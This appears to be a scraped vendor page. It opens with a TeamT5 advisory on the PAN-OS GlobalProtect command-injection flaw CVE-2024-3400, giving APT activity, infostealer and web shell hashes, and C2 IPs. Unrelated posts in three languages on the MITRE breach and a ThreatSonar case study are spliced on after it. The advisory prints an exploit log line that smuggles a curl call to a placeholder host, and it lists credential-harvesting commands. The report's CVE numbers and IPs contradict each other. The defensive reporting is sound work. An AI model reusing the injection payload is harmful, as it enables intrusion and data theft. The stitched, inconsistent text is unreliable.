>この記事は、2024 年 4 月の脆弱性インテリジェンス レポートの第 2 号 (VIR 2024 April H2) を編集したものです。 TeamT5 脆弱性研究チームは、主要な脆弱性に対するリアルタイムの対応と軽減するためのソリューションの提供に取り組んでいます。 TeamT5 の脆弱性インテリジェンス レポートの詳細について知りたい方は、ぜひお問い合わせください。
>
>**CVE-2024-3400: Palo Alto GlobalProtect の脆弱性** 
>CVE-2024-3400 は、Palo Alto Networks PAN-OS ソフトウェアに存在するコマンドインジェクションの脆弱性であり、GlobalProtect ポータルのファイアウォールが設定されています。この脆弱性により、認証されていない攻撃者が root 権限で任意のコードを実行し、ターゲット デバイスにマルウェアを展開することが可能になってしまいます。


## Alerts of Exploiting Palo Alto Networks PAN-OS

TeamT5 released mitigation and response guidelines to a vulnerability in Palo Alto Networks PAN-OS software, CVE-2024-3400. CVE-2024-3400 is a arbitrary file creation vulnerability in the GlobalProtect portals of Palo Alto Networks PAN-OS software that will allow unauthenticated threat actors to execute arbitrary code and deploy malware to the targets’ devices with root privilege. 

Notably, CVE-2024-3400 has a pre-requitsite of enabling GlobalProtect gateway or portal. If enabled, the threat actors can exploits the arbitrary file creation vulnerability resulted from the GlobalProtect portals to achieve the command injection for remote code execution. 

### Executive Summary

We assess the severity level of CVE-2024-3400 is critical and urge our customers to use this report to mitigate the effects. First, Proof of Concepts (PoC) exploiting CVE-2024-3400 have been circulating in the wild.[1] Second, Palo Alto confirmed the attack attempts that exploiting the vulnerability.[2] Last, public reports [3] [4] have revealed that state actors exploited CVE-2024-3400 in the attacks.

Our telemetry detected at least two APT groups exploiting CVE-2024-3400 since March 2024, SLIME60 and SLIME61, both are newly identified APT groups. We summarized the activities in the **Exploitation Status** subsection.

Based on the exploitation status, we depicted the Possible Attack Scenario in this report. We also concluded the IOCs in Appendix I: Malware and Appendix II: Indicators of Compromise (IoC). Most importantly, we prepare a comprehensive Mitigation and Response Advisory for our customers.

The Mitigation and Response Advisory includes:
- Mitigation Adversary
- Threat Hunting Tools, including two nuclei-based scanner:
 - Nuclei-based UPStytle webshell scanner
 - Nuclei-based scanner to check if your device is compromised via XStealer



### Exploitation Status

Threat actors have been actively exploiting CVE-2024-3400 since March 2024. Moreover, our telementry identified at least two APT groups, including China-nexus APT SLIME60 and a newly identified APT group, SLIME61.

- SLIME60 has exploited CVE-2024-3400 with XStealer since late April, 2024. The target scope includes manufacturing industry in Taiwan and education, medical, and manufacturing industry in Japan. Notably, based on Chinese characters in scripts from C2, we hold high confidence that SLIME60 is originated from China.
- SLIME61 (aka UTA0218) has exploited CVE-2024-3400 as zero-day with UPStyle web shell in several attacks, including an attack against manufacturing industry in Saudi Arabia.

### Affected Products

PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls configured with GlobalProtect gateway or GlobalProtect portal (or both)

### Mitigation and Response Advisory

#### 1. Official Information

Palo Alto released the official mitigation advisory. 

- Applying Vulnerability Protection to GlobalProtect Interfaces
 - URL: https://live.paloaltonetworks.com/t5/globalprotect-articles/applying-vulnerability-protection-to-globalprotect-interfaces/ta-p/340184

The vulnerability is patched in PAN-OS 10.2.9-h1, PAN-OS 11.0.4-h1, PAN-OS 11.1.2-h3, and in all later PAN-OS versions. We recommend our customers to upgrade your Palo Alto Networks PAN-OS software to corresponding version.

Notably, while exploiting CVE-2024-3400 requires the GlobalProtect gateway or portal. Palo Alto has warned that disable the device telemetry is not an effective mitigation. 

#### 2. Threat Hunting Tools

As state actors have actively exploited CVE-2024-3400, our vulnerability research team prepare two scanners for our customers to check if your devices has been attacked by the threat actors, including:
- Nuclei-based UPStytle webshell scanner
- Nuclei-based scanner to check if your device is compromised via XStealer

Our customers can download the tool from [Threat Hunting Tools](https://threatvision.org/downloads).

## Possible Attack Scenario

Threat actors have been actively exploiting CVE-2024-3400 since March 2024. We recommend our customer to check the PAN-OS CLI to find out if your device was attacked by the threat actors with following command:

```
> grep pattern "failed to unmarshal session(.\+.\/" mp-log gpsvc.log*
message:"failed to unmarshal session(./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}11.22.33.44:1234?user
```

Specifically, our telemetry identified at least two APT groups, including China-nexus APT SLIME60 and a newly identified APT group, SLIME61.


#### 1.SLIME60

SLIME60 has exploited CVE-2024-3400 since late April, 2024. The target scope includes manufacturing industry in Taiwan and education, medical, and manufacturing industry in Japan. In the attack, we identified three samples (Sample 1-3) of a new infostealer, XStealer. 

|XStealer|SHA-256|
|-|-|
|Sample 1|5f4699232d6c95cb4b4b6390998fc754a751c6018d9fd79f22bf423de2430ca8|
|Sample 2|2cae066e5239bb69bdb7a7f36374e2493793576024c51e06f046a61f990ffce7|
|Sample 3|8ef883085b48c0e1b733640d171ebc574ddfd5a231620f10926f83573abe4317|

At runtime, XStealer can collect the network infra, access credential, and execute Linux commands to collect the system information. Such commands include: `whoami`, `/etc/passwd`, `/etc/host`, `hostname`, `ifconfig`, `uname`, `/etc/issue/`, `/etc/shadow`, `netstat, arp`, `ps`, `df -a`, `/etc/resolv.conf`, `crontab -l`, `bash_history`, `last -n 30`.

Notably, according to Chinese characters in the scripts, we hold high confidence that SLIME60 is originated from China.

Our customer can check the following path to find out if your devices is compromised by SLIME60: https://PA_OS_IP/global-protect/portal/css/results.css. We also provide a nuclei-based scanner for our customers. The scanner can be downloaded the tool from [Threat Hunting Tools](https://threatvision.org/downloads) (for TeamT5's customers).

#### 2. SLIME61

SLIME61 (aka UTA0218) has exploited CVE-2024-2400 as zero-day with UPStyle web shell in several attacks, including an attack against manufacturing industry in Saudi Arabia. Specifically, we identified four UPStyle[6] samples: Sample 4 and 5 are UPStyle web shells, whereas Sample 6 and 7 are UPStyle droppers that will drop a child sample (Sample 8) to `/usr/lib/python3.6/site-packages/system.pth`. The child sample is an UPStyle web shell.

|UPStyle|Feature|SHA-256|
|-|-|-|
|Sample 4|Web shell|ab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f3|
|Sample 5|Web shell|710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb|
|Sample 6|Dropper|3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac|
|Sample 7|Dropper|949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605|
|Sample 8 (Child Sample)|Web shell|661b77ece99938090582d2e92e96417b20c2a7410bcc95e7f3959f40be066b34|

The C2 of the attacks are 144.172.79.92 and 172.233.228.93. Pivoting from the C2, we found more IP used by SLIME61:
- 66.235.168.222
- 89.187.187.69

We provide UPStyle scanner for the customers to check if your devices has been targeted by SLIME61. Our customers can download the tool from [Threat Hunting Tools](https://threatvision.org/downloads) (for TeamT5's customers).


### Appendix I: Malware Table

Below malware table summarize the malware used in attacks related to CVE-2023-26360.

<table>
 <tr>
 <th>Name</th>
 <th>Type</th>
 <th>Description</th>
 <th>Attribution</th>
 <th>First Seen</th>
 </tr>
 <tr>
 <td>UPStyle</td>
 <td>Web shell</td>
 <td>UPStytle is a web shell specified for Palo Alto SSL VPN (PAN-OS). Actors send a request to Palo Alto VPN service to generate crafted error log, and UPStyle parse the error log to execute arbitrary commands.</td>
 <td>SLIME61</td>
 <td>2024.04</td>
 </tr>
 <tr>
 <td>XStealer</td>
 <td>Infostealer</td>
 <td>XStealer is a generic information stealer specifed for UNIX-like platform, and it collects system information such as process list, network status, login credential, etc. Then, XStealer store those information into CSS file.</td>
 <td>SLIME60</td>
 <td>2024.04</td>
 </tr>
</table>

### Appendix II: Indicators of Compromise (IoC)

hash

```
3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac
661b77ece99938090582d2e92e96417b20c2a7410bcc95e7f3959f40be066b34
949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605
ab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f3
710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb
5f4699232d6c95cb4b4b6390998fc754a751c6018d9fd79f22bf423de2430ca8
2cae066e5239bb69bdb7a7f36374e2493793576024c51e06f046a61f990ffce7
8ef883085b48c0e1b733640d171ebc574ddfd5a231620f10926f83573abe4317
```


IP

``` 144.172.79.9 ``` 
``` 172.233.228.93 ``` 
``` 66.235.168.222 ``` 
``` 89.187.187.69 ```

### Appendix III: Other critical CVEs

Below link of another TeamT5 vulnerability report, **Patch Management Report (PMR)**. Published every two weeks (or more), the PMR will provide our customers with concise yet comprehensive updates on the most critical and exploitable vulnerabilities selected by TeamT5 vulnerability research team during the period. Each vulnerability will be provided with patch information. If you are interested in subscribing to this new report series, please contact TeamT5 for more information.

[Patch Management Report](https://threatvision.org/reports/vulnerability/pm-report/pmr-detail?pmReport=2023-Apr-2)

 

##Reference
1. https://github.com/pwnj0hn/CVE-2024-3400/blob/main/main.py
2. https://security.paloaltonetworks.com/CVE-2024-3400 
3. https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
4. https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
5. https://threatvision.org/downloads
6. UPStyle first identified and named by Volexity during the investigation on SLIME61’s attacks exploiting CVE-2024-3400. https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

>**Threat Analyst Summit 2024 : Call for Presentations !**

>In the ever-evolving landscape of cybersecurity, staying one step ahead is not just an advantage – it's imperative. Join us at this year's Threat Analyst Summit, where we bring together the brightest minds in the industry to explore, learn, and collaborate. Our theme, "Stay Informed, Stay Secure", underscores the critical role of continuous intelligence in safeguarding against emerging threats.

>With the rapid evolution of ICT, TeamT5 encourages pioneering research that addresses not only technical challenges but also the legal, policy, economic, psychological, and societal aspects of cybersecurity. We invite you to submit presentations.

>- Final Deadline for Submissions: August 15, 2024, 22:00 UTC+8 (14:00 UTC+0)
>- More info: [link](https://tas2024.teamt5.org/CFP?utm_source=event&utm_medium=website)

CVE-2024-3400: Palo Alto GlobalProtect の脆弱性

Threat Intelligence

資安事件常發生在細微之處，如果不特別注意，很可能無法及時應變與處理。

作為 ATT&CK 攻擊框架的提出者，美國資安非營利組織 [MITRE 卻也面臨了 APT 的攻擊事件](https://www.darkreading.com/endpoint-security/mitre-attacked-infosecs-most-trusted-name-falls-to-ivanti-bugs)。

從 2024 年 1 月開始，威脅行為者透過兩個 Ivanti Connect Secure 零日漏洞：CVE-2023-46805 和 CVE-2024-21887，偵查 MITRE 組織旗下的網路，並挾持連線階段（Session），繞過雙因素身份驗證流程，藉著橫向移動，深入挖掘 MITRE 網路的 VMware 基礎架構，同時使用複雜的後門和 webshell，以便持續存取 MITRE 內部網路環境，取得帳密資料。

##資安事件的過去、現在與未來
MITRE 處理此資安事件的過程，值得我們去探討與學習。其一，組織要防堵資安事件的發生，偵測（Detection）是非常重要的，需要即時偵測場域中的異常行為；其二，利用網路隔離不讓攻擊者直搗核心，讓傷害在可控範圍內。更重要的是威脅情資（Threat Intelligence），當漏洞發生時，可以對場域做評估與處理。在與攻擊者交戰（Adversary Engagement）過程中，該怎麼採取措施，讓損害降到可以控制的範圍內。

當資安事件發生，透過一系列的事件處理流程，不外乎是從資安事件的「**過去**發生什麼事？」、「**現在**該如何應處？」以及「**未來**如何強化應對？」三面向來了解：
- 攻擊者最初的進入存取點為何？
- 攻擊者是否有散播到其他資源？例如橫向移動是如何傳播？
- 攻擊者是否已在環境中立足？如果是，持續控制的方式為何？
- 對於企業的衝擊為何？例如個資外洩等。
- 如何可以防止不被再次攻擊？

##先一步掌握攻擊過程，擬定資安維運策略

根據 TeamT5 長期以來資安事件處理的經驗，攻擊初始多肇因於帳號密碼外洩，漏洞也是重要成因。對於資安人員來說，每天要注意的不僅是攻擊組織帶來的資安威脅，更需要掌握場域內的資產狀況，特別關注資產相關的最新漏洞資訊。此外，藉由掌握攻擊者的攻擊過程，並落實在日常資安維運，提升組織防禦能力。

從[網路攻擊鏈（Cyber Kill Chain）](https://teamt5.org/tw/posts/what-is-cyber-kill-chain/?utm_source=blog&utm_medium=website)可掌握資安事件發生前、事中到事後的各個環節。網路攻擊者透過偵查了解環境、研究曝險弱點，進入環境安裝內網滲透工具，最後根據攻擊者的最終目標，採取行動，例如 APT 藉由潛伏環境竊取機敏資料、勒索軟體則加密核心重要資訊等。

相對應攻擊事件的過程，我們可從美國國家標準與技術研究所（NIST）所發布的網路安全框架 [CSF 2.0](https://www.nist.gov/cyberframework)，歸納出場域管控可依循的標準、對策及防禦措施：

 
![pic_how-to-respond-to-cybersecurity-incidents-and-improve-the-resilience-of-cybersecurity-defense.jpg](https://uploads.teamt5.org/upload/original/pic_how-to-respond-to-cybersecurity-incidents-and-improve-the-resilience-of-cybersecurity-defense.jpg)

 

在事前，透過紅藍隊演練來了解場域中，有哪些資產可能會有風險，及早準備。當資安事件發生，需要偕同外部事件應變專家協處，了解攻擊來源、後續阻擋、事件分析等，雙方之間的協作也很重要。這些對策和防禦措施統整之後，才能在事件發生時做有效應變。

## 攻擊者虎視眈眈，如何強化資安韌性？
[Gartner 發佈 2024 年網路安全重要趨勢](https://www.gartner.com/en/newsroom/press-releases/2024-02-22-gartner-identifies-top-cybersecurity-trends-for-2024)中，特別強調資安韌性（Resilience）的重要。根據 [NIST](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-160v2r1.pdf) 所定義的網路韌性，是當組織遭遇網路攻擊時，可能會面臨到的狀況，例如服務中斷、資料外洩、加密勒索等，該組織處理與復原的能力，以及如何增強面對未來攻擊的防禦能力。

因此，要強化資安韌性，就必須考量到如何優化事件回應規劃。例如事件調查耗費時間，如何在短時間內做回應？同時，被攻擊後如何快速恢復系統運作？因此優化與協力廠商的合作極為重要，才不會在事件發生時手忙腳亂。

藉由事件處理的經驗，可以檢視以下面向，提早準備以強化資安韌性、降低損害：
1 資產安全狀況：場域中有多少資產受網路衝擊？狀況如何？
2. 攻擊面分析：場域中可能被攻擊者利用的進入點分析研判。
3. 掌握威脅情資：掌握與組織相關的威脅情資，例如 APT、暗網、勒索族群等，對於資產會造成什麼影響？
4. 判定風險優先順序：就所掌握的資訊，研判場域風險狀況，提供後續應變處理所需建議。
5. 風險處置管理：針對重要資產的備份恢復、調查所需資料取證，在事件可控狀態下，恢復營運，並完善事件調查所需程序。
6. 掌控場域狀況：針對所採取的應變措施，持續監控掌握場域狀況，觀察是否仍有惡意攻擊，並清掃場域中隱藏的惡意威脅。


> 更多 TeamT5 資安事件應變處理服務：[立刻了解](https://teamt5.org/tw/service/ir/?utm_source=blog&utm_medium=website)

如何從資安事件應變處理，提升資安防禦韌性？

Cybersecurity incidents often occur in subtle places. If you don’t pay special attention, you may not be able to respond and contain them in time.

As the developer of the MITRE ATT&CK framework, non-profit organization [MITRE has also faced APT attacks](https://www.darkreading.com/endpoint-security/mitre-attacked-infosecs-most-trusted-name-falls-to-ivanti-bugs).


Starting in January 2024, hackers exploited two zero-day vulnerabilities in Ivanti Connect Secure—CVE-2023-46805 and CVE-2024-21887—to perform reconnaissance on the MITRE organization's network and bypass the multifactor authentication (MFA) protecting the system with session hijacking. The attackers moved laterally and dug deep into MITRE network’s VMware infrastructure using a compromised administrator account and deployed complex backdoors and webshells to gain persistent access to credentials.

##The past, present and future of cybersecurity incidents
MITRE's response process of this cybersecurity incident is worth discussing and learning from. First, if organizations would like to prevent the occurrence of incidents, detection is very important. Real-time anomaly detection is necessary. Second, network isolation is used to prevent attackers from getting to the core, allowing the damage to be within control. What is more important is threat intelligence feeds, which make it possible to evaluate and handle the vulnerabilities. In the process of adversary engagement, organizations should consider how to take measures to minimize the damage.

When a cybersecurity incident occurs, through a series of incident response processes, it is nothing more than three aspects of the incidents: "What happened in the **past**?", "How to deal with it **now**?" and "How to strengthen the response in the **future**?" to figure out:
- What is the attacker's initial access point?
- Did the attacker spread to other resources? If so, how did lateral movement happen?
- Has the attacker gained a foothold in the environment? If so, what is their method of persistence?
- What impact do breaches have on businesses? For example, credentials leakage, etc.
- How can this be prevented next time?

##Understand cyber kill chain and formulate security maintenance strategies
According to TeamT5’s long-term experience in handling incidents, initial attacks are often caused by credential leakage and vulnerabilities. For cybersecurity personnel, their daily work not only requires close attention to security threats posed by adversaries, but also the state of digital assets in the environment, especially on the latest vulnerability information related to their assets. In addition, by understanding the attack process and implementing the measures in daily cybersecurity maintenance, the organization's defense capabilities can be improved.

From the [cyber kill chain](https://teamt5.org/en/posts/what-is-cyber-kill-chain/?utm_source=blog&utm_medium=website), you can understand all aspects before, during, and after the occurrence of a security incident. Attackers understand the environment through reconnaissance, researching exposed vulnerabilities, entering the environment to install intranet penetration tools, and finally taking actions to attain the attacker's ultimate goal. For example, APT involves stealing credentials through lurking in the environment, and ransomware is used to encrypt important data, etc.

Corresponding to the process of the attack incident, we can summarize the standards, countermeasures and defensive measures that can be followed security control from the [Cyber Security Framework (CSF) 2.0](https://www.nist.gov/cyberframework) released by the National Institute of Standards and Technology (NIST):

 
![pic_en_how-to-respond-to-cybersecurity-incidents-and-improve-the-resilience-of-cybersecurity-defense](https://uploads.teamt5.org/upload/original/pic_en_how-to-respond-to-cybersecurity-incidents-and-improve-the-resilience-of-cybersecurity-defense.jpg)
 


During the pre-compromise process, organizations can get prepared by adopting red team/blue team simulations to understand which assets in the environment may be at risk. When an incident occurs, it is necessary to work with external incident response experts to understand the source of the attack, follow-up prevention, incident analysis, etc. Collaboration between the two parties is also very important. Only after these countermeasures and defense measures are integrated, effective responses can be taken when an incident occurs.

##How do we strengthen security resilience?
According to the[ top cybersecurity trends for 2024 released by Gartner](https://www.gartner.com/en/newsroom/press-releases/2024-02-22-gartner-identifies-top-cybersecurity-trends-for-2024), the importance of security resilience is particularly emphasized. Cyber resilience, as defined by [NIST](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-160v2r1.pdf), refers to the organization’s ability to anticipate, withstand, recover from and adapt to attacks, such as service interruption, data leakage, encryption ransomware, etc. and defense against future attacks.

Therefore, to strengthen security resilience, we must consider how to optimize incident response planning. For example, since incident investigation takes time, how can we respond in a short time? Meanwhile, how can we quickly restore system operations after being attacked? Therefore, it is extremely important to optimize cooperation with third parties so that you will not be in a fluster when an incident occurs.

ThroughTeamT5’s experience of incident response, we suggest organizations to examine the following aspects and prepare in advance to strengthen the security resilience and reduce risks of damage:
- **Asset security status**: Which assets in the environment are impacted by cybersecurity incidents? What is the situation?
- **Attack surface analysis**: Analysis and identifications of initial points in the environment that may be exploited by attackers.
- **Threat intelligence**: What impact will these threat intelligence related to the organization, such as APTs, darknets, extortion groups, etc. impact on our assets?
- **Determine risk priorities**: Based on the information, organizations can evaluate the risk status of the site and have suggestions for subsequent contingency measures.
- **Risk management**: Backup and restore important assets, collect evidence required for investigation, resume operations when the incident is controllable, and improve the procedures required for incident investigation.
- **Control the security situation**: Based on the contingency measures taken, continuously monitor and control the situation of the environment, observe whether there are still malicious attacks, and eliminate hidden malicious threats.

 

>Learn more about [TeamT5 Incident Response Services](https://teamt5.org/en/service/ir/?utm_source=blog&utm_medium=website)

How to enhance security resilience from the process of incident response?

サイバーセキュリティインシデントは、多くの場合が不意を突かれることで発生します。注意を払わなければ、対応や封じ込めに時間がかかってしまう可能性があります。

アメリカの非営利団体 MITREは、MITRE ATT&CK フレームワークの開発者ですが、 [APT 攻撃に直面しています](https://www.darkreading.com/endpoint-security/mitre-attacked-infosecs-most-trusted-name-falls-to-ivanti-bugs)。

2024年1月から、ハッカーはIvanti Connect Secureの2つのゼロデイ脆弱性（CVE-2023-46805とCVE-2024-21887）を悪用し、MITRE組織のネットワーク上で偵察を行い、セッションハイジャックによってシステムを保護する多要素認証（MFA）を回避しました。攻撃者は横方向に移動し、侵害された管理者アカウントを使用してMITREネットワークのVMwareインフラストラクチャに深く潜り込み、複雑なバックドアとWebシェルを展開して認証情報への永続的なアクセスを獲得しました。

##サイバーセキュリティインシデントの過去、現在、未来
このサイバーセキュリティインシデントに対するMITREの対応プロセスは、議論し学ぶ価値があります。まず、組織がインシデントの発生を防ぎたい場合、リアルタイムの異常検知が非常に重要です。次に、攻撃者からの攻撃を防ぐためには、攻撃者がコアに到達するのを防ぐためにネットワークの分離を行いう必要があります。さらに重要なのは、脅威インテリジェンスのフィードであり、これにより脆弱性を評価し、対処することが可能になります。

サイバーセキュリティインシデントが発生した場合、一連のインシデント対応プロセスを通じて、「過去に何が起こったのか」「今、どのように対処するのか」「今後、どのように対応を強化するのか」3つのを念頭に置く必要があります：

- 攻撃者の最初のアクセス ポイントはどこか?
- 攻撃者は他のリソースに拡散したのか? 感染した場合、ラテラルムーブメントはどのように起こるのか?
- 攻撃者はその環境に足場を築いたのか? その場合、どのように維持しているのか?
- 認証情報の漏洩など、侵害は企業にどのような影響を及ぼすのか?
- 次回はどのように攻撃を防ぐのか？


##サイバーキルチェーンを理解し、セキュリティ維持戦略を策定する

TeamT5のインシデント対応における長期的な経験によれば、初期の攻撃は多くの場合、認証情報の漏洩や脆弱性によって引き起こされます。サイバーセキュリティ担当者にとって、日々の業務では、攻撃者がもたらすセキュリティ上の脅威に細心の注意を払うだけでなく、環境内のデジタル資産の状態、特に資産に関連する最新の脆弱性情報にも注意を払う必要があります。また、攻撃のプロセスを理解し、日々のサイバーセキュリティのメンテナンスにおいて対策を実施することで、組織の防御力を向上させることができます。


[サイバーキルチェーン](https://teamt5.org/jp/posts/what-is-cyber-kill-chain/?utm_source=blog&utm_medium=website)から、セキュリティインシデントの発生前、発生中、発生後のすべての側面を理解することができます。攻撃者は、偵察を通じて環境を把握し、暴露された脆弱性を調査および環境に侵入してイントラネット侵入ツールをインストールして、最終的に目標を達成するための行動を実行します。例えば、APTは、環境に潜伏して認証情報を盗み出したり、ランサムウェアを使って重要なデータを暗号化することに使用されます。

攻撃インシデントのプロセスに対応し、米国国立標準技術研究所（NIST）が発表[したサイバーセキュリティフレームワーク（CSF）2.0](https://www.nist.gov/cyberframework) から、セキュリティコントロールに沿った基準、対策、防御策をまとめることができます：

**TeamT5 インシデント対応サービスの詳細について**
![pic_jp_how-to-respond-to-cybersecurity-incidents-and-improve-the-resilience-of-cybersecurity-defense.jpg](https://uploads.teamt5.org/upload/original/pic_jp_how-to-respond-to-cybersecurity-incidents-and-improve-the-resilience-of-cybersecurity-defense.jpg)
 


侵害前のプロセスにおいて、組織はレッドチーム／ブルーチームによるシミュレーションを採用し、環境内のどの資産がリスクにさらされる可能性があるかを理解することで、準備を整えることができます。また、インシデントが発生した場合は、外部のインシデント対応専門家と連携し、攻撃源の把握、事後対策、インシデント分析などを行う必要がるので、両者の連携も非常に重要です。これらの対策や防御策が統合されて初めて、インシデント発生時に効果的な対応が可能になります。

##サイバーレジリエンスを高めるには？
[Gartner が発表した 2024 年のサイバーセキュリティのトップトレンドによると](https://www.gartner.com/en/newsroom/press-releases/2024-02-22-gartner-identifies-top-cybersecurity-trends-for-2024)、サイバーレジリエンスの重要性が特に強調されています。[NIST](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-160v2r1.pdf) が定義するサイバーレジリエンスとは、サービスの中断、データ漏えい、暗号化ランサムウェアなどの攻撃を予測し、それに耐え、回復し、適応する組織の能力と、今後の攻撃に対する防御力を指します。

したがって、サイバーレジリエンスを強化するには、インシデントの調査には時間がかかるため、いかに短時間で対応するか、攻撃を受けた場合はどのようにシステム復旧を迅速に行うかなど、インシデント対応のプロセスをいかに最適化するかを考える必要があります。そのためには、インシデント発生時に慌てないよう、第三者との連携を最適化することが非常に重要です。

TeamT5のインシデント対応の経験を通して、私たちは、組織がサイバーレジリエンスを強化し、被害のリスクを軽減するための以下の点を検討し、事前に準備することを提案いたします：
- **資産セキュリティの状況**: 環境内のどの資産がサイバーセキュリティインシデントの影響を受けているのか?
- **攻撃対象領域の分析**: 攻撃者によって悪用される可能性のある環境内の第一ポイントの分析および特定
- **脅威インテリジェンス**: APT、ダークウェブ、恐喝グループなど、組織に関連するこれらの脅威インテリジェンスは、企業の資産にどのような影響を及ぼすのか？
- **リスクの優先順位の決定**: 情報に基づいて、サイトのリスク状態を評価し、その後の緊急時対応策についての提案をする
- **リスク管理**: 重要な資産のバックアップと復旧、調査に必要な証拠の収集、インシデントが制御可能になった場合の業務の再開、インシデント調査に必要な手順の改善
- **セキュリティ状況の管理**: 不測の事態への対策に基づき、環境の状況を継続的に監視ならびに管理し、悪意のある攻撃がまだ行われていないかどうかを観察して、隠れた悪意のある脅威を排除する

インシデント対応のプロセスからサイバーレジリエンスを強化するには?

IR Service Resources

>日本最大資安解决方案提供商 Macnica Networks 提供的「Mpression 威脅狩獵服務」，是由資安分析師針對 TeamT5 杜浦數位安全研發之 [ThreatSonar](https://teamt5.org/tw/products/threatsonar/?utm_source=blog&utm_medium=website) 掃描結果，進行分析，並為客戶執行威脅獵捕。
>
>此外，透過整合長期累積威脅情資所創建的客製化特徵偵測，對於針對日本攻擊的偵測率能有效提升。威脅獵捕服務提供單次掃描和年度訂閱制。

##亮點
- 透過獨特 AI 偵測技術，並由分析師進⾏分析，獵捕繞過既有安全產品檢測的進階針對性攻擊。
- 調查 20,000 台設備，建⽴從資訊收集，到偵測與回應的診斷⽣命週期
- 針對無 IT 管理者的海外據點，提供端點安全可視化

## 伊藤忠商事 ITCCERT 專注於事件防禦
近年來，由於犯罪目的趨於產業化，網路攻擊變得更加進階和複雜，針對企業和組織的攻擊已成為管理風險。此外，以牟利為標的的勒索軟體和電子郵件詐騙等攻擊，是許多公司常遭遇的威脅。因此，近年來越來越多組織成立電腦資安應變小組（Computer Security Incident Response Team, CSIRT），以應對各種資安事件。

伊藤忠商事 CSIRT 於 2012 年成立，名為「ITCCERT」。其中的「R」包含三元素：準備（Readiness）、回應（Response）、恢復（Recovery）。「ITCCERT」是在 IT 規劃部門內所創建的虛擬組織，負責管理和營運公司網路。

伊藤忠商事 IT 規劃部門 ITCCERT 資深網路安全分析師佐藤元彥表示：「ITCCERT 專注於網路安全運營，重點放在事件預防、回應、分析和防範事件再發生。伊藤忠商事集團內 300 多家公司其中任一家提出需求，ITCCERT 會直接提供支援。」

伊藤忠商事有集團系統，旗下每家公司都有自己的資訊系統部門。但當網路安全事件發生時，ITCCERT 會率先回應。此外，ITCCERT 持續監控網路通訊和從公司外部發送的電子郵件。透過根據 Macnica 累積的知識和內部制定的檢測規則，能夠掌握現有安全產品無法檢測到的威脅特徵，並不斷新增能檢測類似攻擊的規則。

透過獨立情資獲得惡意軟體通訊的目標和 Hash 等資訊，可用於保護伊藤忠商事，並防止公司發生安全事件。 
「ITCCERT 專注於事件預防，『預防事件至關重要』是我們每日工作的信念，」佐藤先生強調。

##伊藤忠商事的威脅狩獵服務
另一方面，伊藤忠商事子公司及其海外據點所使用的網路，與總部不同，因此資安防禦措施無法產生直接效果。為此，ITCCERT 專為集團內公司和海外地點，成立「I」系列網路安全計畫。

這計畫內容廣泛，包括 URL 過濾服務、電子郵件詐騙預防工具、特定網路安全風險評估，以及可立即在實際工作中發揮作用的專題討論會。其中一項服務 -「I」Discovery，是一項端點安全服務，可檢查裝置上隱藏的惡意軟體。自 2017 年 10 月推出以來，已有 20,000 多台裝置威脅檢測的追蹤記錄。其核心技術採用 Team T5 所開發的威脅狩獵工具「ThreatSonar」。

##威脅鑑識技術，收集威脅狩獵重要資訊
ThreatSonar 能快速收集電腦取證所需的資料，包括裝置上正在運行的程式、已刪除的檔案、記憶體中的資料。透過 TeamT5 自行研發的引擎，分析收集到的資訊，能精準揪出可疑檔案。

其 AI 導向的獨特行為模型，可徹底調查一般特徵導向的防毒軟體無法偵測到的可疑行為。ITCCERT 人員具備專業知識，藉由分析所收集到的資訊，可找出現有防毒軟體無法偵測到的隱藏惡意軟體。此外，透過 ITCCERT 與各子公司資訊系統部門共同分析檢測結果，Macnica 能夠快速確認適當的應對措施。

##發現現有端點安全無法偵測到的威脅
在各種端點安全方法中，佐藤先生選擇了 ThreatSonar，因其基礎技術並非防毒，而是一款可以顯著提升安全等級的優異軟體。

伊藤忠商社擁有 300 多家子公司、約 10 萬名員工。此外，作為貿易商，成立合資企業、資本和業務策略聯盟等商業活動也很活躍。因此，伊藤忠商社不強制安裝特定的端點安全產品，而是各公司依自己的需求，安裝最適合的產品。所有公司唯一的共同點，就是都安裝了防毒產品。

「新世代防毒產品仍是防毒的延伸。防毒軟體廠商在技術上各有優劣，很難全面消除所有威脅。對我來說， ThreatSonar 是極具吸引力的資安產品，能夠使公司在使用既有防毒軟體下，同時利用 ThreatSonar 的獨特功能偵測威脅。」

當 Macnica 開始提供「I」Discovery 服務，超過 50 家集團公司自願申請使用該服務。超過一半申請該計劃的公司，完成單次掃描。一些公司則開始進行定期掃描。定期執行「I」Discovery 的子公司資訊系統部門表示，對於能夠確認其設備，未受到現有資安產品無法檢測到的未知或被規避的攻擊，感到滿意。

##易於部署，是擴展至其他集團公司的決定性因素
ThreatSonar 不需要任何安裝。它只需派送並執行輕量掃描程式，就可在背景執行，使用者不需要具備任何相關專業知識或操作技能。

另一個優點則是運作時通訊輕量化，網路負載較小，不存在與作業系統或應用程式衝突或環境相依度等問題。」佐藤先生表示。

##即使在資源有限的海外據點，也能建立資安監控系統
從實際報告中發現，透過實施「I」Discovery，發現了隱藏在合法程式中多年的銀行惡意軟體。佐藤先生認為，這更能確定，該系統不僅可以檢測運作中的惡意軟體，還可以檢測使用者已安裝的潛在惡意軟體和高風險軟體。

